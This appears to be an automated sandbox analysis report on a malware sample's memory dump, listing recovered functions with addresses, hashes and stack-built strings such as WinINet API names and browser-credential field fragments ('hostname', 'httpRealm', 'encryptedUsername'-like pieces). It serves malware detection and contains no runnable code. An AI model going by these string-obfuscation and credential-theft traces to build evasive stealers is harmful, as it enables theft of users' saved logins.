Instruction ID: 7d8cbb94693bfe53589df71040cd25f41c44a33bedba210af413cd75ea20abed
Opcode Fuzzy Hash: 867be16721b54ea423743a5e08cd48efe68bead6cbcb6edbe857900cbe382d9d
Instruction Fuzzy Hash: C52187B1D11218AAEF50CFE4CC45BEEBBB5BF48704F10465DF614BA180DBB55648CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 5048ECED, Relevance: 15.0, Strings: 12, Instructions: 41COMMON

Download Yara Rule

Strings

T, xrefs: 5048ED45
f, xrefs: 5048ED33
P, xrefs: 5048ED01
F, xrefs: 5048ED25
d, xrefs: 5048ED68
d, xrefs: 5048ED53
T, xrefs: 5048ED08
r, xrefs: 5048ED2C
x, xrefs: 5048ED3A
r, xrefs: 5048ED5A
u, xrefs: 5048ED4C
i, xrefs: 5048ED61

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: F$P$T$T$d$d$f$i$r$r$u$x
API String ID: 0-2987356081
Opcode ID: 1561104473096ed268ecc7fb79ea9615d16a4d70933b8e894b47b275df889579
Instruction ID: 162b32e6778d1e6a4890544d3e67eb3c550df39026ef433844436fb3078aca3b
Opcode Fuzzy Hash: 1561104473096ed268ecc7fb79ea9615d16a4d70933b8e894b47b275df889579
Instruction Fuzzy Hash: B2015BB1D00218AAAF10CFE598096DEBEB6BF45758F10825DD9187F250D3BA4A488BA4

Uniqueness

Uniqueness Score: -1.00%

Function 50485EA0, Relevance: 13.9, Strings: 11, Instructions: 124COMMON

Download Yara Rule

Strings

n, xrefs: 50485FA0
D, xrefs: 50485F8F
x, xrefs: 50485F29
e, xrefs: 50485F45
r, xrefs: 50485F37
l, xrefs: 50485F30
r, xrefs: 50485F3E
i, xrefs: 50485FA7
e, xrefs: 50485F4C
w, xrefs: 50485F99
\, xrefs: 50485F22

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: D$\$e$e$i$l$n$r$r$w$x
API String ID: 0-685823316
Opcode ID: 55b3879f10dfee11f081fad7a1d623af802b0fe751f88fb2299f4c66a6b9289f
Instruction ID: 73d85a24ef212e3d8c0a7137a228cda7923fab466f44447c0b094d104ba0dbb9
Opcode Fuzzy Hash: 55b3879f10dfee11f081fad7a1d623af802b0fe751f88fb2299f4c66a6b9289f
Instruction Fuzzy Hash: 22410CB2D0121CAFDB10DFD5DC84AEEBBBDFB49308F40456EE619A6200D7755A448BA1

Uniqueness

Uniqueness Score: -1.00%

Function 50485E94, Relevance: 13.9, Strings: 11, Instructions: 120COMMON

Download Yara Rule

Strings

n, xrefs: 50485FA0
D, xrefs: 50485F8F
x, xrefs: 50485F29
e, xrefs: 50485F45
r, xrefs: 50485F37
l, xrefs: 50485F30
r, xrefs: 50485F3E
i, xrefs: 50485FA7
e, xrefs: 50485F4C
w, xrefs: 50485F99
\, xrefs: 50485F22

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: D$\$e$e$i$l$n$r$r$w$x
API String ID: 0-685823316
Opcode ID: 7d39128fe05027c7167b798ca16653edc9430a82284f5df7f36293594f282507
Instruction ID: 63e9239523f671af7644d8bc35f3f9644e4302d8685d44d8dc1f6c8fa777b3fe
Opcode Fuzzy Hash: 7d39128fe05027c7167b798ca16653edc9430a82284f5df7f36293594f282507
Instruction Fuzzy Hash: 3A412BB2D00218AFDB10DFD5CC85EEEBBB9FF59308F40856DE619A6200D7755A48CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 50491F90, Relevance: 12.8, Strings: 10, Instructions: 342COMMON

Download Yara Rule

Strings

s, xrefs: 50492019
N, xrefs: 5049202B
A, xrefs: 50491FFD
P, xrefs: 50492012
:, xrefs: 50491FF2
m, xrefs: 50492032
:, xrefs: 50492039
I, xrefs: 50491FEB
:, xrefs: 50492020
t, xrefs: 50492004

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: :$:$:$A$I$N$P$m$s$t
API String ID: 0-2304485323
Opcode ID: d194a755d19725e47956826e21edcf3fe2a73e4c7b4f98902305db17155b9eaa
Instruction ID: f65ee46ca3e3ffa98ade230c3116cec141751a58830270040e2da14005bc0681
Opcode Fuzzy Hash: d194a755d19725e47956826e21edcf3fe2a73e4c7b4f98902305db17155b9eaa
Instruction Fuzzy Hash: 3AD10DB1A11318ABDB10CFE4CC81FEEB7B9AF59304F04492DE509D7540EB78A954CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 5048B010, Relevance: 12.7, Strings: 10, Instructions: 225COMMON

Download Yara Rule

Strings

e, xrefs: 5048B16B
r, xrefs: 5048B14D
", xrefs: 5048B064
", xrefs: 5048B05D
i, xrefs: 5048B161
P, xrefs: 5048B139
/, xrefs: 5048B072
", xrefs: 5048B06B
m, xrefs: 5048B157
o, xrefs: 5048B143

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: "$"$"$/$P$e$i$m$o$r
API String ID: 0-163326737
Opcode ID: 780cc939205fe9aa38594a1a741adfea794703309f33dc134aad273e84b2c883
Instruction ID: 6cfc4a6a5d6aa25fbad8c02d734b4a0151653d736d939caeb4e566d915089116
Opcode Fuzzy Hash: 780cc939205fe9aa38594a1a741adfea794703309f33dc134aad273e84b2c883
Instruction Fuzzy Hash: AD81C6B285121C76DB21DBE4DC42FEF377C9F54308F008AAEB90966181E6795B648FE1

Uniqueness

Uniqueness Score: -1.00%

Function 50491F88, Relevance: 12.7, Strings: 10, Instructions: 211COMMON

Download Yara Rule

Strings

s, xrefs: 50492019
N, xrefs: 5049202B
A, xrefs: 50491FFD
P, xrefs: 50492012
:, xrefs: 50491FF2
m, xrefs: 50492032
:, xrefs: 50492039
I, xrefs: 50491FEB
:, xrefs: 50492020
t, xrefs: 50492004

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: :$:$:$A$I$N$P$m$s$t
API String ID: 0-2304485323
Opcode ID: fbd247a8541f82ff388cda67ef5e0f1ea6231e6a0c3d850e1b73e7753615c81f
Instruction ID: 46932c2c4b98973b15a47843e88f378331842af9c3ed21f5c5880720441cabb0
Opcode Fuzzy Hash: fbd247a8541f82ff388cda67ef5e0f1ea6231e6a0c3d850e1b73e7753615c81f
Instruction Fuzzy Hash: 56810DB5A10308AFDB10CFE4C881BDEBBB9BF59304F14492DE509E7240E779A914CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 50490E70, Relevance: 12.7, Strings: 10, Instructions: 181COMMON

Download Yara Rule

Strings

l, xrefs: 50490F4D
y, xrefs: 50490F7B
encr, xrefs: 50490F66
ypte, xrefs: 50490F6D
a, xrefs: 50490F5B
c, xrefs: 50490F46
L, xrefs: 50490F3F
"}, xrefs: 50490F35
d_ke, xrefs: 50490F74
S, xrefs: 50490F54

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: "}$L$S$a$c$d_ke$encr$l$y$ypte
API String ID: 0-3767459862
Opcode ID: 9f5382caf984d005be10b8a5391c7d80af1c44bb2a896505c687fc1c9ba3124a
Instruction ID: fc36781957f266e477bf36112a84a2e68a676bb5e9136c9419f732f87315ecf1
Opcode Fuzzy Hash: 9f5382caf984d005be10b8a5391c7d80af1c44bb2a896505c687fc1c9ba3124a
Instruction Fuzzy Hash: 47517FB1D01218AEDB50CFE89C45BEEBBF8AF58304F00466EE508E7240EB795954CB95

Uniqueness

Uniqueness Score: -1.00%

Function 50490390, Relevance: 11.4, Strings: 9, Instructions: 164COMMON

Download Yara Rule

Strings

e, xrefs: 5049049C
y, xrefs: 504904A3
r, xrefs: 504903F9
., xrefs: 50490400
n, xrefs: 50490407
, xrefs: 50490487
DIP, xrefs: 504903F3
e, xrefs: 5049048E
o, xrefs: 50490495

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $.$DIP$e$e$n$o$r$y
API String ID: 0-1395137066
Opcode ID: 86a853e48d550c630ad85ea41c61992ef9ff2526ceeb093c72437b61e511ad09
Instruction ID: e1723e354a0a2bfd158fd643c48aee0f823a2e928f5f44edc01b954ecab35704
Opcode Fuzzy Hash: 86a853e48d550c630ad85ea41c61992ef9ff2526ceeb093c72437b61e511ad09
Instruction Fuzzy Hash: 815151B1A01308AFDB10DFA4D945BEEBBF8AF45304F104A6EE509D7240E7799A548BD1

Uniqueness

Uniqueness Score: -1.00%

Function 50486AE0, Relevance: 11.4, Strings: 9, Instructions: 119COMMON

Download Yara Rule

Strings

n, xrefs: 50486BD2
b, xrefs: 50486B74
i, xrefs: 50486B6D
C, xrefs: 50486B66
U, xrefs: 50486BBD
o, xrefs: 50486BCB
k, xrefs: 50486BC4
a, xrefs: 50486B7B
d, xrefs: 50486B82

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: C$U$a$b$d$i$k$n$o
API String ID: 0-3121204512
Opcode ID: cb3b8eb2dafcb18fe231f2139bec4de787c7ed64dd9d78b9fdb63ed28244eefc
Instruction ID: 0ab045279a5169d375be00af10342c23509c60f939b3adb82bc0384faa1ee364
Opcode Fuzzy Hash: cb3b8eb2dafcb18fe231f2139bec4de787c7ed64dd9d78b9fdb63ed28244eefc
Instruction Fuzzy Hash: 254191B1A01308BAEB10DFA0DC85FEF77B9AF45708F00891DF919A6241E77866148BE5

Uniqueness

Uniqueness Score: -1.00%

Function 504913A0, Relevance: 10.2, Strings: 8, Instructions: 228COMMON

Download Yara Rule

Strings

s, xrefs: 50491453
U, xrefs: 5049140B
l, xrefs: 50491412
e, xrefs: 50491430
:, xrefs: 5049145A
:, xrefs: 50491437
U, xrefs: 50491429
P, xrefs: 5049144C

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: :$:$P$U$U$e$l$s
API String ID: 0-522774390
Opcode ID: 12f3adf8073729c7763d178792be3848b705b5458d5bf31e39d136448b027472
Instruction ID: 3598152d78a65c0d6ebd3e2757dce77de38c910157068ff0d4d0074bfa95168c
Opcode Fuzzy Hash: 12f3adf8073729c7763d178792be3848b705b5458d5bf31e39d136448b027472
Instruction Fuzzy Hash: 62912AB1A10308ABDB14CFA4C841BEEB7F9AF99314F14492DA519DB240EB78A911CB95

Uniqueness

Uniqueness Score: -1.00%

Function 5049139D, Relevance: 10.2, Strings: 8, Instructions: 227COMMON

Download Yara Rule

Strings

s, xrefs: 50491453
U, xrefs: 5049140B
l, xrefs: 50491412
e, xrefs: 50491430
:, xrefs: 5049145A
:, xrefs: 50491437
U, xrefs: 50491429
P, xrefs: 5049144C

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: :$:$P$U$U$e$l$s
API String ID: 0-522774390
Opcode ID: d9d61fae4ef54a629af0f3d16fd442834468187da89c4c2a42c4f7fb4ec5f6ba
Instruction ID: 7eb29414510981ec8223c1c76b2238dc36a3122ec4049dd175a755ac03353a7a
Opcode Fuzzy Hash: d9d61fae4ef54a629af0f3d16fd442834468187da89c4c2a42c4f7fb4ec5f6ba
Instruction Fuzzy Hash: 1D913AB1A10308AFDB14CFE4C841BEEBBF5AF99314F14492DE519DB240EB78A911CB95

Uniqueness

Uniqueness Score: -1.00%

Function 5048E730, Relevance: 10.2, Strings: 8, Instructions: 215COMMON

Download Yara Rule

Strings

n, xrefs: 5048E778
URL: , xrefs: 5048E971, 5048E974
p, xrefs: 5048E755
L: , xrefs: 5048E985, 5048E98E, 5048E988
., xrefs: 5048E771
o, xrefs: 5048E75C
e, xrefs: 5048E76A
i, xrefs: 5048E763

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: URL: $.$L: $e$i$n$o$p
API String ID: 0-3631070777
Opcode ID: 368775de8e3da81bb7e65b19500ddd431ef5e4a17c628f56570e3e9d1769b3f8
Instruction ID: 47de0824eae432fc92fb180a55845bad91a3b8b51a93449fc8e14839f4aa7e1e
Opcode Fuzzy Hash: 368775de8e3da81bb7e65b19500ddd431ef5e4a17c628f56570e3e9d1769b3f8
Instruction Fuzzy Hash: 41814CB0901208AEDB10DFA5CC41AEFB7F9EF94304F00492EE909AB241E775A955CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 5048D710, Relevance: 10.1, Strings: 8, Instructions: 123COMMON

Download Yara Rule

Strings

e, xrefs: 5048D75C
k, xrefs: 5048D755
e, xrefs: 5048D740
o, xrefs: 5048D74E
q, xrefs: 5048D732
., xrefs: 5048D72B
i, xrefs: 5048D739
\, xrefs: 5048D747

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: .$\$e$e$i$k$o$q
API String ID: 0-882348391
Opcode ID: 7dc853b92fc3b3c9b23a00fe7fb26bed094f67e61c637367bbb06285d8665cc5
Instruction ID: 53086053352e1db09654fc3b14fd40dc083a2d576202583fee852702fc99d4e0
Opcode Fuzzy Hash: 7dc853b92fc3b3c9b23a00fe7fb26bed094f67e61c637367bbb06285d8665cc5
Instruction Fuzzy Hash: 1841E8F1E012186ADB10DF94CD42FEF77BCDF98304F400A9AB205A6041E779AB548BE5

Uniqueness

Uniqueness Score: -1.00%

Function 50498CC0, Relevance: 10.0, Strings: 8, Instructions: 48COMMON

Download Yara Rule

Strings

HttpOpenRequestA, xrefs: 50498D1A, 50498D25
Requ, xrefs: 50498CE8
OpenRequestA, xrefs: 50498D1E, 50498D26
RequestA, xrefs: 50498D22, 50498D27
Open, xrefs: 50498CE1
Http, xrefs: 50498CDA
HttpOpenRequestA, xrefs: 50498CCD
estA, xrefs: 50498CEF

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Http$HttpOpenRequestA$HttpOpenRequestA$Open$OpenRequestA$Requ$RequestA$estA
API String ID: 0-4016285707
Opcode ID: fea90beabff67b2b567d8da6d4b6fac2dcdbdf4ce93c97183384f69e53b9be53
Instruction ID: 2d90b5bd50af87dfefaa472ae08e7391b3f290670cec49648f315fcb8b43be87
Opcode Fuzzy Hash: fea90beabff67b2b567d8da6d4b6fac2dcdbdf4ce93c97183384f69e53b9be53
Instruction Fuzzy Hash: 3F01D3B2A05159ABCB04DF99D841DEF7BB9EB48210F158699FE09A7204D634AE10CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 50498D40, Relevance: 10.0, Strings: 8, Instructions: 42COMMON

Download Yara Rule

Strings

HttpSendRequestA, xrefs: 50498D8E, 50498D99
Requ, xrefs: 50498D68
Http, xrefs: 50498D5A
HttpSendRequestA, xrefs: 50498D4D
estA, xrefs: 50498D6F
RequestA, xrefs: 50498D96, 50498D9B
SendRequestA, xrefs: 50498D92, 50498D9A
Send, xrefs: 50498D61

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Http$HttpSendRequestA$HttpSendRequestA$Requ$RequestA$Send$SendRequestA$estA
API String ID: 0-2503632690
Opcode ID: db97a3a7caecdf95fe0a304b753d44bd81bfc0f21146fd473aad3fd0d43d0554
Instruction ID: dade1f414c473e14f80d133b095e5464492f0320a973313596fc0917080afba4
Opcode Fuzzy Hash: db97a3a7caecdf95fe0a304b753d44bd81bfc0f21146fd473aad3fd0d43d0554
Instruction Fuzzy Hash: F301FBB2909119AFCB04DF99D845AEF7BBCEB58210F118699FD19A7304D670EE10CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 50498DB0, Relevance: 10.0, Strings: 8, Instructions: 40COMMON

Download Yara Rule

Strings

File, xrefs: 50498DB6
Inte, xrefs: 50498DCA
File, xrefs: 50498DDF
rnet, xrefs: 50498DD1
InternetReadFile, xrefs: 50498DFB, 50498E05
ReadFile, xrefs: 50498E02, 50498E07
Read, xrefs: 50498DD8
rnetReadFile, xrefs: 50498DFE, 50498E06

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: File$File$Inte$InternetReadFile$Read$ReadFile$rnet$rnetReadFile
API String ID: 0-3169538877
Opcode ID: 77f7bfc3bcc568f89f5f5c20ffbe1a45459ed9468e3cbe435dbb69ae827bcf29
Instruction ID: 7343cb6ea6111fd61ec61b7f070dede768933908fcc1f1796e7ba64ab193d591
Opcode Fuzzy Hash: 77f7bfc3bcc568f89f5f5c20ffbe1a45459ed9468e3cbe435dbb69ae827bcf29
Instruction Fuzzy Hash: BC0119B2905118AFCB00DFD8D945AEF7BB8EB44210F148699ED49AB205D270AE10CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 50484F20, Relevance: 9.0, Strings: 7, Instructions: 234COMMON

Download Yara Rule

Strings

., xrefs: 50484F9A
F;HP, xrefs: 50484F36, 50485079, 5048513D
\, xrefs: 50484F93
l, xrefs: 50484FC4
., xrefs: 50484FBA
x, xrefs: 50484FA1
, xrefs: 50484FF4

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $.$.$F;HP$\$l$x
API String ID: 0-4087397101
Opcode ID: c0f0e6de0ec9f9661128ab17afa656e2dc41612c1cb60b212f2480865e78bec2
Instruction ID: 436ad5d61fc699f177bab20f1ab894741bbc3df058f03bda711bde4abc5e04ef
Opcode Fuzzy Hash: c0f0e6de0ec9f9661128ab17afa656e2dc41612c1cb60b212f2480865e78bec2
Instruction Fuzzy Hash: C071EC719012146AE721CB94CC46FEEB77CAF55704F0446AFFA09AB180E7B96E44CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 50484F18, Relevance: 8.9, Strings: 7, Instructions: 141COMMON

Download Yara Rule

Strings

., xrefs: 50484F9A
F;HP, xrefs: 50484F36
\, xrefs: 50484F93
l, xrefs: 50484FC4
., xrefs: 50484FBA
x, xrefs: 50484FA1
, xrefs: 50484FF4

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $.$.$F;HP$\$l$x
API String ID: 0-4087397101
Opcode ID: 5c034f2aa42a9310e03443dac6d22256cb9a043a8d946947eddcc723a42d7809
Instruction ID: 8d623762dda942f032b0b41e66bb7c841baf3e0cde07181a125f188d939d6f26
Opcode Fuzzy Hash: 5c034f2aa42a9310e03443dac6d22256cb9a043a8d946947eddcc723a42d7809
Instruction Fuzzy Hash: 0C41CD719413586ADB21CB94CC52FEE77B8AF15704F004A6EFB096B180D7B95A44CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 50498C40, Relevance: 8.8, Strings: 7, Instructions: 48COMMON

Download Yara Rule

Strings

rnet, xrefs: 50498C61
ConnectA, xrefs: 50498CA2, 50498CA7
InternetConnectA, xrefs: 50498C9A, 50498CA5
ectA, xrefs: 50498C6F
rnetConnectA, xrefs: 50498C9E, 50498CA6
Conn, xrefs: 50498C68
Inte, xrefs: 50498C5A

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Conn$ConnectA$Inte$InternetConnectA$ectA$rnet$rnetConnectA
API String ID: 0-1024195942
Opcode ID: 5a91d16494d0f57e6db0b04c43c500e05e142fe6b6b4993dc2c2e1d1dc4bd2c0
Instruction ID: 6468facc785ea37f8b6450aac39e284e2f085ea7eb0dbe20da8b5a58351c9e6b
Opcode Fuzzy Hash: 5a91d16494d0f57e6db0b04c43c500e05e142fe6b6b4993dc2c2e1d1dc4bd2c0
Instruction Fuzzy Hash: 5F01E9B2915118AFCB04DFD9D941EEF7BB8EB48310F154699BE08A7240D634EE10CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 5048E440, Relevance: 7.8, Strings: 6, Instructions: 261COMMON

Download Yara Rule

Strings

httpRealm, xrefs: 5048E503, 5048E506
guid, xrefs: 5048E69B, 5048E6A2
guid, xrefs: 5048E671, 5048E6DB, 5048E679, 5048E6E3
hostname, xrefs: 5048E4F5, 5048E4F8
}HPP, xrefs: 5048E6AE, 5048E6BB, 5048E6B1, 5048E6C0
L: , xrefs: 5048E44C, 5048E5E7, 5048E66E, 5048E6D8, 5048E5EC, 5048E677, 5048E678, 5048E6E1, 5048E6E2

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: L: $guid$guid$hostname$httpRealm$}HPP
API String ID: 0-3187202489
Opcode ID: 79aa19b49911147f48b7409250749418dbae78de06bfc0717a260046203dd2c2
Instruction ID: dca50966a4945112e718cc5be00fd253b47e9e719cc1e9be143db64d5aa8708f
Opcode Fuzzy Hash: 79aa19b49911147f48b7409250749418dbae78de06bfc0717a260046203dd2c2
Instruction Fuzzy Hash: C39111B0901249AFDB50CFE4CC86FEE7BB8AF58304F00465EF918A7241E6749915CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 5048F670, Relevance: 7.7, Strings: 6, Instructions: 227COMMON

Download Yara Rule

Strings

g, xrefs: 5048F928
t, xrefs: 5048F91A
u, xrefs: 5048F913
A, xrefs: 5048F905
s, xrefs: 5048F921
c, xrefs: 5048F90C

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: A$c$g$s$t$u
API String ID: 0-3813946880
Opcode ID: 7baa69dc1aa20ebec65ee4f01242c2393ac5cc16002f35e230a65b480fdb7059
Instruction ID: 1a44b9fa8be2dab9f50246b9dee22c0ff8573f2bad1fcd6e2da92235db7ae1fe
Opcode Fuzzy Hash: 7baa69dc1aa20ebec65ee4f01242c2393ac5cc16002f35e230a65b480fdb7059
Instruction Fuzzy Hash: EB8141B5D01218AADF60DFE4CC46BEE77B8AF54304F14466EF609A6140FB745A48CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 5048D8C0, Relevance: 7.7, Strings: 6, Instructions: 171COMMON

Download Yara Rule

Strings

f, xrefs: 5048D913
F, xrefs: 5048D905
r, xrefs: 5048D90C
x, xrefs: 5048D91A
P, xrefs: 5048D8E9
T, xrefs: 5048D8F0

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: F$P$T$f$r$x
API String ID: 0-2523166886
Opcode ID: b73eda173020e50f4648fe9a628d0976be6787cd24a1c979f24c863eafe7dbd4
Instruction ID: 600d47f830a5986c9736eea289c6d910d2600eea47a493b1fde2a97cd145fd0a
Opcode Fuzzy Hash: b73eda173020e50f4648fe9a628d0976be6787cd24a1c979f24c863eafe7dbd4
Instruction Fuzzy Hash: 2651C771946704AADB24CFA4CC41BEBB7F8FF14708F104B6EE50956580E7B8A954CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 50483658, Relevance: 7.6, Strings: 6, Instructions: 117COMMON

Download Yara Rule

Strings

2008, xrefs: 50483733, 50483736
2016, xrefs: 5048377F, 50483782
8, xrefs: 504836CC
2012, xrefs: 5048376C, 5048376F
10, xrefs: 504836D3
7, xrefs: 504836F4

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: 10$2008$2012$2016$7$8
API String ID: 0-783846285
Opcode ID: 252e9cc1725f3f8ef4e0dd5adbf65ca0e9fb7afbc83a0c7f6b7b089b9c04a075
Instruction ID: 293218ee37beb0e2754b4a65cdebd3a8acf2372a0eaefb628607bd5b331bc851
Opcode Fuzzy Hash: 252e9cc1725f3f8ef4e0dd5adbf65ca0e9fb7afbc83a0c7f6b7b089b9c04a075
Instruction Fuzzy Hash: 3C31F3B18012146ADB208BD4DC06BEEB778AF54349F044A5AEE05A6342F779CA15C7D2

Uniqueness

Uniqueness Score: -1.00%

Function 504836B0, Relevance: 7.6, Strings: 6, Instructions: 90COMMON

Download Yara Rule

Strings

2008, xrefs: 50483733, 50483736
2016, xrefs: 5048377F, 50483782
8, xrefs: 504836CC
2012, xrefs: 5048376C, 5048376F
10, xrefs: 504836D3
7, xrefs: 504836F4

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: 10$2008$2012$2016$7$8
API String ID: 0-783846285
Opcode ID: 2fd3d4ec165d0379111a39a8af9c52c5d9649513b21dc05a215f24615a58a2d3
Instruction ID: dd7032df8c97329a164aad93d7cabd4f7cd9509637d0a68a271cd64deae86500
Opcode Fuzzy Hash: 2fd3d4ec165d0379111a39a8af9c52c5d9649513b21dc05a215f24615a58a2d3
Instruction Fuzzy Hash: 7321B6F1D412186AEB00DBD0DC46BEEBB7CAF14349F04469AED04A6242F3B98719C7D2

Uniqueness

Uniqueness Score: -1.00%

Function 50498BD0, Relevance: 7.5, Strings: 6, Instructions: 41COMMON

Download Yara Rule

Strings

InternetOpenA, xrefs: 50498C1D, 50498C25
Inte, xrefs: 50498BEA
rnetOpenA, xrefs: 50498C21, 50498C26
A, xrefs: 50498BFF
Open, xrefs: 50498BF8
rnet, xrefs: 50498BF1

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: A$Inte$InternetOpenA$Open$rnet$rnetOpenA
API String ID: 0-3155091674
Opcode ID: a6bd7c6617a6fc903c9a7f07eed257647a49593ccfbd608e88943fc20d551768
Instruction ID: dabb02b20a651be7e55830b863bcf4f13bc742bed80eb1a119b233c74a835a22
Opcode Fuzzy Hash: a6bd7c6617a6fc903c9a7f07eed257647a49593ccfbd608e88943fc20d551768
Instruction Fuzzy Hash: FDF0F6B2901118AF8B14DFD9D8419EB7BB8EB48310B04868ABE18A7245D634AE10CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 50498BC8, Relevance: 7.5, Strings: 6, Instructions: 35COMMON

Download Yara Rule

Strings

InternetOpenA, xrefs: 50498C1D, 50498C25
Inte, xrefs: 50498BEA
rnetOpenA, xrefs: 50498C21, 50498C26
A, xrefs: 50498BFF
Open, xrefs: 50498BF8
rnet, xrefs: 50498BF1

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: A$Inte$InternetOpenA$Open$rnet$rnetOpenA
API String ID: 0-3155091674
Opcode ID: 4d47c13b9b3b1006ac414cd9625c0ebdfaec208d916116bba8baa9d96f5be1f2
Instruction ID: 38be20735302f9aa736073fcdf8d36ab5725a8a281eb652b56be80040d9e0b3f
Opcode Fuzzy Hash: 4d47c13b9b3b1006ac414cd9625c0ebdfaec208d916116bba8baa9d96f5be1f2
Instruction Fuzzy Hash: 59F03CB6911219AFCB14CF98D9419EF7BB9FF44310B048A9DBE1867245D234AA10CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 50498E20, Relevance: 7.5, Strings: 6, Instructions: 34COMMON

Download Yara Rule

Strings

Inte, xrefs: 50498E3A
rnet, xrefs: 50498E41
Clos, xrefs: 50498E48
eHan, xrefs: 50498E4F
dle, xrefs: 50498E56
CloseHandle, xrefs: 50498E6B, 50498E6E

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Clos$CloseHandle$Inte$dle$eHan$rnet
API String ID: 0-4067651292
Opcode ID: 5dbf4104c698586ebdf7b707d1bf2520d912350f86961b26068399d97cf18735
Instruction ID: 1b3f17d44799399ea7a450000412d62b0d0625157a683039061d59050d872e8d
Opcode Fuzzy Hash: 5dbf4104c698586ebdf7b707d1bf2520d912350f86961b26068399d97cf18735
Instruction Fuzzy Hash: FCF03072D06218AF8B04DFD9D9459EEBBB8EB44310F108699EE48AB205D6709F10CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 504837B0, Relevance: 6.6, Strings: 5, Instructions: 379COMMON

Download Yara Rule

Strings

HTTP, xrefs: 50483811, 50483815
XLNG, xrefs: 50483AF2
XLNG, xrefs: 50483A08
, xrefs: 50483B20, 50483B08, 50483B0E, 50483B3E, 50483B6D, 50483B8B
200 OK, xrefs: 5048382B, 5048382E

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $200 OK$HTTP$XLNG$XLNG
API String ID: 0-1796545149
